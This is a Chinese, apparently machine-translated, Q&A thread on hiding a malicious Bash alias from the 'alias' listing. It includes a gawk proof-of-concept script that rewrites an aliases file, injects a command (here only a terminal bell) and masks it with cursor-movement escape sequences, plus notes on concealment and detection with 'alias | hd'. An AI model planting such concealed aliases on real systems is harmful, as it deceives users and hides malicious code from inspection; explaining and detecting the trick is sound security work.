是否有可能在 Linux 系统上隐藏 Bash 中恶意别名的存在并让用户在不知情的情况下执行它?
答案1
alias
如果该命令用于显示别名定义,则可以通过将现有别名附加到恶意别名上并使用光标移动来隐藏它来实现这一点。这不是一种万无一失的方法,但它可能会在一段时间内未被发现。管道alias
传输hd
将显示您的别名中是否有任何转义序列(光标移动)。以下是如何将恶意命令插入别名的概念证明:
alias | gawk 'BEGIN {
FS = "[ =\047]"
db = "\\"; sp = db " "; amp = db "&"
sq= "\047"; bell = "\007"; esc = "\033"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
- 该
sed
命令会修改名为“别名”的文件,这种类型的真实脚本会直接修改真实脚本文件,以便在下次执行时激活恶意别名。 - 这个例子的恶意部分只是响起终端铃声,这样你就知道它正在运行。
- 最初别名的命令将以的内容作为
hide
参数执行,因此可以想象,您可能会收到类似于这个问题。可能可以反转原始部分和恶意部分来影响这一点,尽管这会干扰提供给别名的参数。上面的脚本尝试用 标记参数的结尾--
。 - 您无需将原始部分和恶意部分用 连接起来
&&
,而是可以将一个部分连接到下一个部分,并使恶意脚本(上面用简单echo
命令表示)充当传递函数,以便stdin
在stdout
数据传递时对其进行修改,或者通过不干扰其他重定向来进一步隐藏其存在 - 另一种可能性是将原始别名包含在恶意脚本中,这可以从参数列表中删除光标移动字符串并将其余部分传递给原始脚本。
- 我任意选择了记录 3 和 4,更智能的代码可以针对特定的别名,但它们需要相邻(或者光标移动可以变得更加复杂)。
- 可以修改字符串
hide
以包含不同的光标移动和原始别名的文本,这样命令alias
就会显示未修改的别名,而不是将其与恶意部分一起隐藏。 - 要按照书面方式尝试,您需要至少有四个活动别名,运行此脚本,然后使用 获取生成的文件
. aliases
。然后,您可以尝试使用受影响的别名,并查看执行时它是什么样子alias|hd
。 - 毫无疑问,这可以用一百种不同的方式重写 - 而且都更好。
- 这种威胁有多现实?我不知道。但如果我能做到……